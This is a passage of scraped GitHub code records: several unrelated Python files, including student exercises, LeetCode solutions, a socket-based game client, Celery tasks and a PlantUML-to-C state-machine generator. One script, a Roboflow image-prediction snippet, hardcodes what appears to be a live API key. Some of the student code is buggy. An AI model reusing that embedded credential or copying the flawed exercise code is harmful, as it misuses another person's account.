**kwargs)\n\n","repo_name":"FrankGalanDev/ownsys","sub_path":"backoffice/views/platform.py","file_name":"platform.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"34936827688","text":"\"\"\"A prefix-notation calculator.\n\nUsing the arithmetic.py file from Calculator Part 1, create the\ncalculator program yourself in this file.\n\"\"\"\n\nfrom arithmetic import *\n\n\n# Your code goes here\nwhile True:\n\traw_user_input = input(\">\")\n\tuser_input = raw_user_input.split(\" \", 3)\n\tprint(user_input)\n\n\tcommand = user_input[0]\n\t\n\ttry:\n\t\tnum1 = user_input[1]\n\texcept:\n\t\tcontinue\n\ttry:\n\t\tnum2 = user_input[2]\n\texcept: \n\t\tcontinue\n\ttry:\n\t\tnum3 = user_input[3]\n\texcept:\n\t\tcontinue\n\n\tprint(command, num1, num2, num3)\n\tif command == \"q\":\n\t\tbreak\n\telse:\n\t\tif command == \"+\":\n\t\t\tprint(add(num1, num2))","repo_name":"Andeleisha/calculator-2","sub_path":"calculator.py","file_name":"calculator.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"37524115451","text":"def sum_and_order(items, thres=5):\n\n    # summing the values\n    tally = {}\n    for exp in items:\n        if exp.cat not in tally:\n            tally[exp.cat] = exp.price\n        else:\n            tally[exp.cat] += exp.price\n\n    # listing the highest values\n    values = sorted(tally.items(), reverse=True, key=lambda amt: amt[1])\n    if len(values) > thres:\n        others = sum([i[1] for i in values[thres - 2:]])\n        values = values[:thres - 1]\n        values.append(('others', others))\n    return dict(values)\n","repo_name":"Team-De-bug/med-bay","sub_path":"accounts/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":518,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"31866929784","text":"import json\nimport random\nimport socket\nfrom game import possibleMoves\n\n# on est le client IA\ns = socket.socket()\naddress = ('172.17.10.40', 3000)  # port du prof\ns.connect(address)\nrequest = {\n    \"request\": \"subscribe\",\n    \"port\": 8889,     # numero de port choisi par nous\n    \"name\": \"shika\",\n    \"matricules\": [\"195163\", \"195190\"]\n}\n# message qu'on envoie au serveur qui contient les données d'inscription\nmessage = json.dumps(request).encode()\ns.send(message)\nreponse = s.recv(2048).decode()  # on ecoute la reponse du serveur\nprint(\"reponse:\", reponse)\ns.close()\n\n# les roles s'inversent, on devient le serveur jeu\n\ns = socket.socket()\ns.bind(('0.0.0.0', 8889))\ns.listen()\n\n\ndef bestmove(possibleM):\n\n# creation d'une liste avec poids arbitraire pour chaque position\n    listpoids = [\n        30,   5,  25,  25,   25,  25,    5, 30,\n        5,    1,  10,  10,   10,  10,    1,  5,\n        25,  10,  20,  15,   15,  20,   10, 25,\n        25,  10,  15,  20,   20,  15,   10, 25,\n        25,  10,  15,  20,   20,  15,   10, 25,\n        25,  10,  20,  15,   15,  20,   10, 25,\n        5,    1,   10,  10,   10,  10,   1,   5,\n        30,   5,  25,  25,   25,  25,   5,  30,\n    ]\n\n    pmax = 0\n    for elem in possibleM: # pour parcourt la liste de possibleMove\n        if (pmax < listpoids[elem]): # elemMax contient le mouvement qui aura le poids le plus élevé\n\n            elemMax = []\n            pmax = listpoids[elem]\n            elemMax.append(elem)\n\n        elif (pmax == listpoids[elem]): #elemMax contient tout les mouvements qui ont un poids maximal\n\n            elemMax.append(elem)\n\n    return random.choice(elemMax)\n\n\nwhile True:\n    client, address = s.accept()\n    with client:\n        message = json.loads(client.recv(2048).decode())\n        print(message)\n\n        if message == {'request': 'ping'}:\n            client.send(json.dumps({'response': 'pong'}).encode())\n# dictionnaire qu on transforme en json avec dumps puis qu on transforme en binaire avec encode pour pouvoire l'envoyer au client\n\n        else:\n            # liste pour recuper la clé state du dictionnaire\n            etat = message['state']\n            possible = possibleMoves(etat)\n            if possible != []:\n                the_move_played = bestmove(possible)\n\n                print('shika: ')\n                print(possible)\n                print(the_move_played)\n\n                client.send(json.dumps({\n                    \"response\": \"move\",\n                    \"move\": the_move_played,\n                    \"message\": \"let's play\"\n                }).encode())\n            else:\n                the_move_played = None\n                client.send(json.dumps({\n                    \"response\": \"move\",\n                    \"move\": the_move_played,\n                    \"message\": \"let's play\"\n                }).encode())\n","repo_name":"ibtissam2801/projet-informatique","sub_path":"Shika.py","file_name":"Shika.py","file_ext":"py","file_size_in_byte":2824,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"20197949161","text":"# Quiz)\n\n# 총 3대의 매물이 있습니다.\n# 강남 아파트 매매 10억 2010년\n# 마포 오피스텔 전세 5억 2007년\n# 송파 빌라 월세 500/50 2000년\n\n# 코드\nclass House:\n    # 매물 초기화\n    def __init__(self, location, house_type, deal_type, price, completion_year):\n        self.location = location\n        self.house_type = house_type\n        self.deal_type = deal_type\n        self.price = price\n        self.completion_year = completion_year\n\n    # 매물 정보 표시\n    def show_detail(self):\n        print(\"{0} {1} {2} {3} {4}년\"\\\n            .format(self.location, self.house_type, self.deal_type, self.price, self.completion_year))\n\n\navailable_house = []\nh1 = House(\"강남\", \"아파트\", \"매매\", \"10억\", \"2010\")\nh2 = House(\"마포\", \"오피스텔\", \"전세\", \"5억\", \"2007\")\nh3 = House(\"송파\", \"빌라\", \"월세\", \"500/50\", \"2000\")\n\navailable_house.append(h1)\navailable_house.append(h2)\navailable_house.append(h3)\n\nprint(\"총 {0}대의 매물이 있습니다.\".format(len(available_house)))\nfor house in available_house:\n    house.show_detail()\n","repo_name":"eujeong-hwang/python","sub_path":"OOP/Project/Quiz_Class.py","file_name":"Quiz_Class.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"72002792100","text":"# 160. Intersection of Two Linked Lists\n\n# Definition for singly-linked list.\n# class ListNode:\n#     def __init__(self, x):\n#         self.val = x\n#         self.next = None\n\nclass Solution:\n    def getIntersectionNode(self, headA: ListNode, headB: ListNode) -> ListNode:\n        def get_len(node):\n            l = 0\n            while node is not None:\n                node = node.next\n                l += 1\n            return l\n\n        lenA = get_len(headA)\n        lenB = get_len(headB)\n        for i in range(lenA - lenB):\n            headA = headA.next\n        for i in range(lenB - lenA):\n            headB = headB.next\n\n        while headA and headB:\n            if headA == headB:\n                return headA\n            headA = headA.next\n            headB = headB.next\n        return None\n","repo_name":"YukiT1990/Leetcode","sub_path":"34_IntersectionofTwoLinkedLists(160).py","file_name":"34_IntersectionofTwoLinkedLists(160).py","file_ext":"py","file_size_in_byte":802,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"73529353061","text":"\nfrom test_sort import Tests\nimport random\n\n\ndef bogosort(l):\n    for c, element in enumerate(l):\n        random_pos = random.randint(0, len(l))\n        l.pop(c)\n        l.insert(random_pos, element)\n    return l\n\n\ndef is_sorted(l):\n    if sorted(l) == l:\n        return True\n    else:\n        return False\n\n\ndef apply_bogosort(l):\n    list = bogosort(l)\n\n    while not is_sorted(list):\n        list = bogosort(l)\n    return list\n\n\ntest = Tests(apply_bogosort)\ntest.sort_random_inputs()\n","repo_name":"jdraiv/Algos","sub_path":"Sorting/bogosort.py","file_name":"bogosort.py","file_ext":"py","file_size_in_byte":487,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"}
{"seq_id":"19548343658","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 25 18:57:41 2021\n\n@author: kalan\n\"\"\"\n\n# 1551. Minimum Operations to Make Array Equal\n# Medium\n\n# You have an array arr of length n where arr[i] = (2 * i) + 1 for all valid values of i (i.e. 0 <= i < n).\n\n# In one operation, you can select two indices x and y where 0 <= x, y < n and subtract 1 from arr[x] and add 1 to arr[y] (i.e. perform arr[x] -=1 and arr[y] += 1). The goal is to make all the elements of the array equal. It is guaranteed that all the elements of the array can be made equal using some operations.\n\n# Given an integer n, the length of the array. Return the minimum number of operations needed to make all the elements of arr equal.\n\n\nclass Solution:\n    def minOperations(self, n):\n        \n        arr=[]\n        for i in range(0,n):\n            arr.append((2*i)+1)\n        av=sum(arr)/len(arr)\n        \n\n             \n                \n        #use two pointers\n        cnt=0\n        for i in range(0,len(arr)):\n            print(arr[i], arr[len(arr)-i-1])\n            \n            if arr[i] and arr[len(arr)-i-1] !=arr:\n\n                cnt+=av-arr[i]\n                arr[i]=av\n                arr[len(arr)-i-1] = av\n  \n\n        return  cnt\n\n\n\na=Solution()\na.minOperations(n = 3)\n\na.minOperations(n = 6)\n","repo_name":"jivakalan/LeetCoding","sub_path":"minOperations2.py","file_name":"minOperations2.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"4197256220","text":"\"\"\"Moira list tasks\"\"\"\nimport logging\nfrom django.contrib.auth import get_user_model\n\nfrom channels.membership_api import update_memberships_for_managed_channels\nfrom moira_lists.models import MoiraList\nfrom moira_lists import moira_api\nfrom open_discussions.celery import app\n\nUser = get_user_model()\nlog = logging.getLogger()\n\n\n@app.task\ndef update_user_moira_lists(user_id, update_memberships=False):\n    \"\"\"\n    Update the user's moira lists\n\n    Args:\n        user_id (int): User id\n        update_memberships (bool): Whether to update memberships afterward\n    \"\"\"\n    moira_api.update_user_moira_lists(User.objects.get(id=user_id))\n    if update_memberships:\n        update_memberships_for_managed_channels(user_ids=[user_id])\n\n\n@app.task\ndef update_moira_list_users(names, channel_ids=None):\n    \"\"\"\n    Update the users for each moira list\n\n    Args:\n        names (list of str): Moira list name\n        channel_ids (list of int): Channel id's\n    \"\"\"\n    for name in names:\n        moira_list, _ = MoiraList.objects.get_or_create(name=name)\n        moira_api.update_moira_list_users(moira_list)\n    if channel_ids is not None:\n        update_memberships_for_managed_channels(channel_ids=channel_ids)\n","repo_name":"mitodl/open-discussions","sub_path":"moira_lists/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"35"}
{"seq_id":"8133393223","text":"from roboflow import Roboflow\nimport base64\n\nrf = Roboflow(api_key=\"4djNHqVxsswIJ4xmhkdU\")\nproject = rf.workspace().project(\"dates2\")\nmodel = project.version(1).model\n\nfile = 'b.jpg'\nimage = open(file, 'rb')\nimage_read = image.read()\nimage_64_encode = base64.encodebytes(image_read)\n\nx = model.predict(image_64_encode)\nprint(x)","repo_name":"ahmad-einieh/dates_fastapi","sub_path":"new.py","file_name":"new.py","file_ext":"py","file_size_in_byte":327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9962343137","text":"#!/usr/bin/env python3\n\nimport pathlib\nimport re\nimport subprocess\nimport sys\nfrom typing import NamedTuple, List, Optional, Tuple, Dict, Callable\n\n\n# ========== TYPE DEFINITIONS ==========\n\nclass Line(NamedTuple):\n    \"\"\"Represents a single line in a .puml file\"\"\"\n    filename: str\n    line_no: int\n    orig_text: str\n    text: str\n\n    def __str__(self):\n        return f'{self.filename}:{self.line_no}'\n\n\nclass Event(NamedTuple):\n    \"\"\"Represents an event in the FSM\"\"\"\n    name: str\n\n\nclass Guard(NamedTuple):\n    \"\"\"Represents a guard transition in the FSM\"\"\"\n    code: str\n\n\nclass Action(NamedTuple):\n    \"\"\"Represents an action in the FSM\"\"\"\n    code: str\n\n\nclass Transition(NamedTuple):\n    \"\"\"Represents a transition in the FSM\"\"\"\n    event: str\n    guard: Optional[Guard]\n    from_state: 'State'\n    to_state: 'State'\n    actions: List[Action]\n\n    def __str__(self):\n        guard_str = '' if not self.guard else f' [{self.guard.code}]'\n        return f'{self.from_state.name} --- {self.event.name}{guard_str} --> {self.to_state.name}'\n\n    def __repr__(self):\n        return str(self)\n\n\nclass State(NamedTuple):\n    \"\"\"Represents a state in the FSM\"\"\"\n    name: str\n    parent_state: Optional['State']\n    child_states: 'StateDict'\n    is_initial_state: bool\n    out_transitions: List[Transition]\n    int_transitions: List[Transition]\n    entry_transitions: List[str]\n    exit_transitions: List[str]\n\n    def __str__(self):\n        parent = 'None' if not self.parent_state else self.parent_state.name\n        transition_nums = ', '.join([f'{len(self.out_transitions)} out',\n                                     f'{len(self.int_transitions)} int',\n                                     f'{len(self.entry_transitions)} entry',\n                                     f'{len(self.exit_transitions)} exit'])\n\n        return f'State {self.name}: ' + ', '.join([\n            f'parent={parent}',\n            f'children={len(self.child_states)}',\n            f'initial={self.is_initial_state}',\n            f'transitions=({transition_nums})',\n        ])\n\n    def __repr__(self):\n        return str(self)\n\n\nStateDict = Dict[str, State]\nEventDict = Dict[str, Event]\n\n\n# ========== FUNCTIONS FOR PARSING THE PUML FILES ==========\n\ndef parse_puml_file(filename: str) -> StateDict:\n    \"\"\"Parses the FSM definition in the given .puml file\"\"\"\n    lines = cleanup_lines(read_puml_file(filename))\n\n    initial_state_names, lines = parse_initial_state_transitions(lines)\n    states, lines = parse_states(lines, initial_state_names)\n    check_initial_states_exist(initial_state_names, states)\n    check_states(states)\n\n    lines = parse_transitions(states, lines)\n\n    assert not lines, 'No idea how to parse the following lines:' + ''.join([f'\\n{x}: {x.orig_text}' for x in lines])\n\n    return states\n\n\ndef read_puml_file(filename: str) -> List[Line]:\n    \"\"\"Reads the .puml file into a list of lines\"\"\"\n    with open(filename, 'r') as f:\n        content = f.read()\n\n    return [Line(filename, i + 1, x, x) for i, x in enumerate(content.split('\\n'))]\n\n\ndef cleanup_lines(lines: List[Line]) -> List[Line]:\n    \"\"\"Removes empty lines and uninteresting things from non-empty lines\"\"\"\n    clean_lines = []\n    for filename, line_no, orig_text, text in lines:\n        if any(text.startswith(x) for x in ['@', 'title ', 'hide empty ', 'note ']):\n            text = ''\n        else:\n            text = re.sub(r'#\\w+', '', text)\n            text = text if \"'\" not in text else text[:text.index(\"'\")]\n            text = text.strip()\n\n        if text:\n            clean_lines.append(Line(filename, line_no, orig_text, text))\n\n    return clean_lines\n\n\ndef parse_initial_state_transitions(lines: List[Line]) -> Tuple[Dict[str, Line], List[Line]]:\n    \"\"\"Extracts the initial states and returns only the remaining lines\"\"\"\n    remaining_lines = []\n    initial_state_names = {}\n\n    for line in lines:\n        m = re.fullmatch(r'^\\[\\*\\]\\s+-{1,2}>\\s+(\\w+)\\s*(.*)', line.text)\n        if not m:\n            remaining_lines.append(line)\n            continue\n\n        name, trailing_text = m.groups()\n        assert name not in initial_state_names, f'Duplicate initial transition for state {name} in {line}'\n        assert not trailing_text, f'Additional text after initial transition in {line}: {line.orig_text}'\n        initial_state_names[name] = line\n\n    return initial_state_names, remaining_lines\n\n\ndef parse_states(lines: List[Line], inital_state_names: Dict[str, Line]) -> Tuple[StateDict, List[Line]]:\n    \"\"\"Extracts all states and returns only the remaining lines\"\"\"\n    remaining_lines = []\n    states = {}\n    state_stack = [None]\n\n    for line in lines:\n        if line.text == '}':\n            state_stack.pop()\n            assert state_stack, f'Closing brace }} in {line} does not match any opening brace'\n            continue\n\n        m = re.fullmatch(r'^(state\\s+)?(\\w+)\\s*(:\\s*(.*?)\\s*)?(\\{?)$', line.text)\n        if not m:\n            remaining_lines.append(line)\n            continue\n\n        _, name, _, trans_txt, open_brace = m.groups()\n        parent_state = state_stack[-1]\n        state = states.setdefault(name, State(name, parent_state, [], name in inital_state_names, [], [], [], []))\n\n        if parent_state and state not in parent_state.child_states:\n            parent_state.child_states.append(state)\n\n        if trans_txt:\n            transition = parse_transition_line(line, trans_txt, state, state)\n            if transition.event.name == 'entry':\n                state.entry_transitions.append(transition)\n            elif transition.event.name == 'exit':\n                state.exit_transitions.append(transition)\n            else:\n                state.int_transitions.append(transition)\n\n        if open_brace:\n            state_stack.append(state)\n\n    return states, remaining_lines\n\n\ndef check_initial_states_exist(inital_state_names: Dict[str, Line], states: StateDict) -> None:\n    \"\"\"Checks that every state in the list of initial state names actually exists\"\"\"\n    for name, line in inital_state_names.items():\n        assert name in states, f'The target state \"{name}\" of the initial transition in {line} has not been defined'\n\n\ndef check_states(states: StateDict) -> None:\n    \"\"\"Checks for errors in the states such as missing initial states\"\"\"\n    names = [x.name for x in states.values() if x.parent_state is None and x.is_initial_state]\n    assert names, f'No initial top level state specified'\n    assert len(names) == 1, f'Multiple initial top level states specified: {\", \".join(names)}'\n\n    for state in states.values():\n        if not state.child_states:\n            continue\n\n        names = [x.name for x in state.child_states if x.is_initial_state]\n        assert names, f'No initial state specified in composite state {state.name}'\n        assert len(names) == 1, f'Multiple initial states specified in composite state {state.name}'\n\n\ndef parse_transitions(states: StateDict, lines: List[Line]) -> List[Line]:\n    \"\"\"Extracts all transitions and puts them into the state definitions\"\"\"\n    remaining_lines = []\n\n    for line in lines:\n        m = re.fullmatch(r'^(\\w+)\\s+-{1,2}>\\s(\\w+)\\s*(:\\s*(.*?)\\s*)?', line.text)\n        if not m:\n            remaining_lines.append(line)\n            continue\n\n        from_state, to_state, _, trans_txt = m.groups()\n        assert trans_txt, f'Missing event in transition in {line}: {line.orig_text}'\n        assert from_state in states, f'State \"{from_state}\" in {line} has not been defined'\n        assert to_state in states, f'State \"{to_state}\" in {line} has not been defined'\n\n        transition = parse_transition_line(line, trans_txt, states[from_state], states[to_state])\n        states[from_state].out_transitions.append(transition)\n\n    return remaining_lines\n\n\ndef parse_transition_line(line: Line, trans_txt: str, from_state: State, to_state: State) -> Transition:\n    \"\"\"Creates a transition from the text on a transition or inside a state\"\"\"\n    m = re.fullmatch(r'^(\\w+)\\s*(\\[\\s*(.*?)\\s*\\]\\s*)?(/(.*))?', trans_txt.replace('\\\\n', ''))\n    assert m, f'Invalid transition format in {line}: {line.orig_text}'\n\n    event_name, _, guard_code, _, actions_txt = m.groups()\n    actions_code = [] if not actions_txt else [x.strip() for x in actions_txt.split('/') if x.strip()]\n\n    event = Event(event_name)\n    guard = None if not guard_code else Guard(guard_code)\n    actions = [Action(x) for x in actions_code]\n    transition = Transition(event, guard, from_state, to_state, actions)\n\n    return transition\n\n\n# ========== FUNCTIONS FOR THE CODE GENERATION ==========\n\ndef generate_fsm_header_file(states: StateDict, namespace: str) -> str:\n    \"\"\"Generates the code for the FSM\"\"\"\n    events = get_event_names(states)\n\n    initial_state = [x for x in states.values() if x.parent_state is None and x.is_initial_state][0]\n    while initial_state.child_states:\n        initial_state = [x for x in initial_state.child_states if x.is_initial_state][0]\n\n    return f'''\n// ===== States =====\ntypedef enum {{\n  {''.join(f'k{x}State,' for x in states.keys())}\n}} State;\n\nconst char* state_to_string(State state) {{\n  switch (state) {{\n    {''.join(f'case k{x}State: return \"{x}\";' for x in states.keys())}\n    default: return \"???\";\n  }}\n}}\n\n// ===== Events =====\ntypedef enum {{\n  {''.join(f'k{x}Event,' for x in events)}\n}} Event;\n\nconst char* event_to_string(Event event) {{\n  switch (event) {{\n    {''.join(f'case k{x}Event: return \"{x}\";' for x in events)}\n    default: return \"???\";\n  }}\n}}\n\n// ===== State entry/exit actions =====\nvoid call_state_entry_actions(State state) {{\n  switch (state) {{\n    {makeStateEntryExitActionsSwitchCode(states, lambda state: state.entry_transitions)}\n  }}\n}}\n\nvoid call_state_exit_actions(State state) {{\n  switch (state) {{\n    {makeStateEntryExitActionsSwitchCode(states, lambda state: state.exit_transitions)}\n  }}\n}}\n\n// ===== FSM initialization =====\nState init() {{\n  {makeInitStateEntryCode(initial_state)}\n  return k{initial_state.name}State;\n}}\n\n// ===== FSM event handling =====\nState post_event(State cur_state, Event event) {{\n  State new_state = cur_state;\n\n  switch (event) {{\n    {makePostEventSwitchCode(states)}\n  }}\n\n  return new_state;\n}}\n    '''\n\n\ndef get_event_names(states: StateDict) -> List[str]:\n    \"\"\"Returns a list containing all event names sorted alphabetically\"\"\"\n    transitions = []\n    for state in states.values():\n        transitions += state.int_transitions\n        transitions += state.out_transitions\n\n    return sorted(list({trans.event.name for trans in transitions}))\n\n\ndef makeStateEntryExitActionsSwitchCode(states: StateDict, transitions_getter: Callable[[State], List[Transition]]) -> str:\n    \"\"\"Creates the code inside the switch statement for state entry/exit actions\"\"\"\n    code = ''\n    for state in states.values():\n        transitions = transitions_getter(state)\n        if not transitions:\n            continue\n\n        code += f'case k{state.name}State:'\n        code += makeTransitionsActionCode(transitions)\n        code += 'break;'\n\n    return code\n\n\ndef makeTransitionsActionCode(transitions: List[Transition]) -> str:\n    \"\"\"Creates the code for executing the actions for the given transitions if their guard condition is met\"\"\"\n    code = ''\n    for transition in transitions:\n        action_code = ''.join([f'{x.code};' for x in transition.actions])\n        if not action_code:\n            continue\n\n        action_block = f'{{ {action_code} }}'\n        if transition.guard:\n            code += f'if ({transition.guard.code})'\n        code += action_block\n\n    return code\n\n\ndef makePostEventSwitchCode(states: StateDict) -> str:\n    \"\"\"Creates the code inside the switch statement for the event posting function\"\"\"\n    code = ''\n    for event_name in get_event_names(states):\n        code += f'''\n            case k{event_name}Event:\n              switch (cur_state) {{\n                {makePostEventStateSwitchCode(event_name, states)}\n              }}\n              break;\n        '''\n\n    return code\n\n\ndef makePostEventStateSwitchCode(event_name: str, states: StateDict) -> str:\n    \"\"\"Creates the code inside the switch statement for states inside the case for the given event\"\"\"\n    code = ''\n    for state in states.values():\n        case_code = makePostEventStateSwitchCaseCode(event_name, state, states)\n        if case_code:\n            code += f'''\n                case k{state.name}State:\n                  {case_code}\n                  break;\n            '''\n\n    return code\n\n\ndef makePostEventStateSwitchCaseCode(event_name: str, current_state: State, states: StateDict) -> str:\n    \"\"\"Creates the code for the switch case that handles the given event in the given state\"\"\"\n    code = ''\n\n    state = current_state\n    while state:\n        # First check for internal transitions\n        int_trans = [x for x in state.int_transitions if x.event.name == event_name]\n        if int_trans:\n            code += f'// Internal transition(s) on event {event_name}\\n'\n            code += makeTransitionsActionCode(int_trans)\n            break\n\n        # If there are no internal transitions, then look at the outgoing transitions\n        out_trans = [x for x in state.out_transitions if x.event.name == event_name]\n        if out_trans:\n            for trans in out_trans:\n                code += f'// {trans}\\n'\n\n                if trans.guard:\n                    code += f'if({trans.guard.code})'\n\n                code += '{'\n\n                # Call the exit actions\n                states_exited = [current_state]\n                while states_exited[-1] is not state:\n                    states_exited.append(states_exited[-1].parent_state)\n                if state.parent_state:\n                    states_exited.append(state.parent_state)\n\n                for st in states_exited:\n                    code += f'call_state_exit_actions(k{st.name}State);'\n\n                # Call the transition actions\n                code += makeTransitionsActionCode([trans])\n\n                # Call the entry actions\n                states_entered = [trans.to_state]\n                while states_entered[0].parent_state not in [state, None]:\n                    states_entered.insert(0, states_entered[0].parent_state)\n                while states_entered[-1].child_states:\n                    initial_child_state = [x for x in states_entered[-1].child_states if x.is_initial_state][0]\n                    states_entered.append(initial_child_state)\n\n                for st in states_entered:\n                    code += f'call_state_entry_actions(k{st.name}State);'\n\n                # Set the new/next state\n                new_state = states_entered[-1]\n                code += f'new_state = k{new_state.name}State;'\n\n                code += 'break;'\n                code += '}'\n\n            break\n\n        # Go up one level in the state hierarchy\n        state = state.parent_state\n\n    return code\n\n\ndef makeInitStateEntryCode(initial_state: State) -> str:\n    \"\"\"Creates the code inside the main() function for calling all state entry function to get to the initial state\"\"\"\n    # Call the entry actions\n    states_entered = [initial_state]\n    while states_entered[0].parent_state:\n        states_entered.insert(0, states_entered[0].parent_state)\n\n    code = ''\n    for st in states_entered:\n        code += f'call_state_entry_actions(k{st.name}State);'\n\n    return code\n\n\n# ========== AUTO-FORMATTING ==========\n\ndef run_clang_format(filename: str) -> None:\n    \"\"\"Runs clang-format on the given file\"\"\"\n    subprocess.run(['clang-format', '-assume-filename=fsm.h', '-i', filename])\n\n\n# ========== MAIN ==========\n\nif __name__ == '__main__':\n    for filename in pathlib.Path(__file__).parent.rglob('*.puml'):\n        output_filename = filename.with_suffix(\".inc\")\n        print(f'Generating {output_filename}...')\n\n        states = parse_puml_file(str(filename))\n        code = generate_fsm_header_file(states, filename.stem)\n\n        with open(output_filename, 'w') as f:\n            f.write(code)\n\n        run_clang_format(output_filename)\n","repo_name":"yohummus/casual-engineering","sub_path":"videos/1/puml_to_code.py","file_name":"puml_to_code.py","file_ext":"py","file_size_in_byte":16030,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"9060929435","text":"\nwhile True:\n    QT_LITROS = int(input(\"Informe a quantidade de litros colocados: \"))\n    Entrada = input('Pressione Enter para continuar ou \\'s\\' para sair ')\n    if (Entrada == 's' or Entrada == 'S'):\n        break\n\n    if (QT_LITROS <= 10):\n\n        print(\"Voce ganhou um chaveiro !\")\n\n    elif (QT_LITROS > 10 and QT_LITROS <= 30):\n\n        print(\"Voce ganhara uma ducha no carro\")\n\n    if (QT_LITROS > 30 and QT_LITROS <= 40):\n\n        print(\"Ganhara uma troca de óleo\")\n\n    elif (QT_LITROS > 40):\n\n        print(\"Ganhara uma ducha e uma troca de óleo\")\n","repo_name":"Victoralecrim/Algoritmos-Python","sub_path":"ExGasolina.py","file_name":"ExGasolina.py","file_ext":"py","file_size_in_byte":562,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"41891107183","text":"\r\ndef absoluteLeftDiagonalDiff(m,n,a,b):\r\n    sm1=0\r\n    sm2=0\r\n    x = min(m,n)\r\n    for i in range(x):\r\n        sm1 += a[i][i]\r\n        sm2+= b[i][i]\r\n\r\n    return abs(sm1-sm2)    \r\n\r\n\r\n\r\n\r\ndef main():\r\n    S = input().split()\r\n    m=int(input())\r\n    n=int(input())\r\n    a=[]\r\n    b=[]\r\n    \r\n    S=input().split()\r\n    x=0\r\n    for i in range(m):\r\n        alt1=[]\r\n        for j in range(n):\r\n            alt1.append(int(S[x]))\r\n            x+=1\r\n\r\n        a.append(alt1)\r\n    \r\n    P = input().split()\r\n    y=0\r\n    for i in range(m):\r\n        alt2 = []\r\n        for j in range(n):\r\n            alt2.append(int(P[y]))\r\n            y+=1\r\n        b.append(alt2)\r\n    \r\n    print(absoluteLeftDiagonalDiff(m,n,a,b))\r\n\r\n\r\nmain()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"arun912-ux/C-Cpp_exams","sub_path":"py/akka_mythree.py","file_name":"akka_mythree.py","file_ext":"py","file_size_in_byte":746,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"14120784581","text":"#1\n#Input  - [1,2,3,4]\n#Output - [1,4,9.16]\n\nnumber = [1,2,3,4]\n\ndef square(num):\n    return num ** 2\nop = []\n\nfor n in number:\n    res = square(n)\n    op.append(res)\nprint(op) #[1,4,9.16]\n        \n#Using Lambda\n\nsquare1 = lambda num: num ** 2\n\nop = []\n\nfor n in number:\n    res = square1(n)\n    op.append(res)\nprint(op)#[1,4,9.16]\n\n#Using Map\nl = [1,2,3,4]\nres1 = map(square1, l)\nprint(list(res1))#[1,4,9.16]\n\n\n#******************************************************************************************************\n#2\n#Create a list strating with names of vowels\nnames = ['steve','eve','alex','john','alexa']\n\nop1 = []\n\nfor name in names:\n    if name[0].lower() in 'aeiou':\n        print(op1.append(name))\nprint(op1)\n\nnames = ['steve','eve','alex','john','alexa']\n\nvowels = lambda name : name[0].lower() in 'aeiou'\nprint(list(filter(vowels,names)))\n\n#******************************************************************************************************\n#3\n#  write a program to merge two list ?\nl1 = [1, 2, 3]\nl2 = [4, 5, 6]\nprint(l1 + l2)\nl3 = [*l1, *l2]\nprint(l3)\n\n#4\n#  WAP to get the elements that are in list b not in list a ?\n\na = [1, 2, 3, 4, 5]\nb = [3, 4, 6, 7, 9]\n\nfor item in b :\n    if item not in a:\n        print(item, end= ' ')\nprint() #6 7 9\n\n#5\n# WAP to built a list with only the items having even number of character ?\n\nnames = ['amazon', 'gmail', 'yahoo', 'walmart', 'flipkart', 'rediff']\nnew = []\nfor item in names:\n    if len(item)%2 == 0:\n        new.append(item)\nprint(new) #['amazon', 'flipkart', 'rediff']\n\n#6\n#Wap to print all the maximum numbers present in the list python\n\nnumbers = [1, 2, 1, 2, 3, 4, 5, 1, 1, 2, 5, 6, 7, 8, 9, 9]\n\nmax_num = max(numbers)\nprint(max_num )\n\n#7\n#Wap to print all the maximum words present in the list python\n# Program - 1st\n\nwords = ['apple', 'walmart', 'flipkart', 'flipkart', 'apple']\n\nmax_len = max(words, key=len)\n\nfor word in words:\n    if len(max_len) == len(word):\n        print(word)\n\n#8\n# Python code to demonstrate\n# sum of list of list using \n# zip and list comprehension\n  \n# Declaring initial list of list\nList = [[1, 2, 3],\n        [4, 5, 6],\n        [7, 8, 9]]\n          \n# Printing list of list\nprint(\"Initial List - \", str(List))\n  \n# Using list comprehension\nres = [sum(i) for i in zip(*List)]\n      \n# printing result\nprint(\"final list - \", str(res))\n\n#9\n# Python program to print even Numbers in a List\n\n# list of numbers\nlist1 = [10, 21, 4, 45, 66, 93]\n \n# using list comprehension\neven_nos = [num for num in list1 if num % 2 == 0]\n \nprint(\"Even numbers in the list: \", even_nos)\n\n#O/p-\n#Even numbers in the list:  [10, 4, 66]\n\n#10\n#Python program to print\n# duplicates from a list\n# of integers\ndef Repeat(x):\n    _size = len(x)\n    repeated = []\n    for i in range(_size):\n        k = i + 1\n        for j in range(k, _size):\n            if x[i] == x[j] and x[i] not in repeated:\n                repeated.append(x[i])\n    return repeated\n \n# Driver Code\nlist1 = [10, 20, 30, 20, 20, 30, 40,\n         50, -20, 60, 60, -20, -20]\nprint (Repeat(list1))\n     \n#Output\n#[20, 30, -20, 60]\n\n#11\n# program to print duplicate numbers in a given 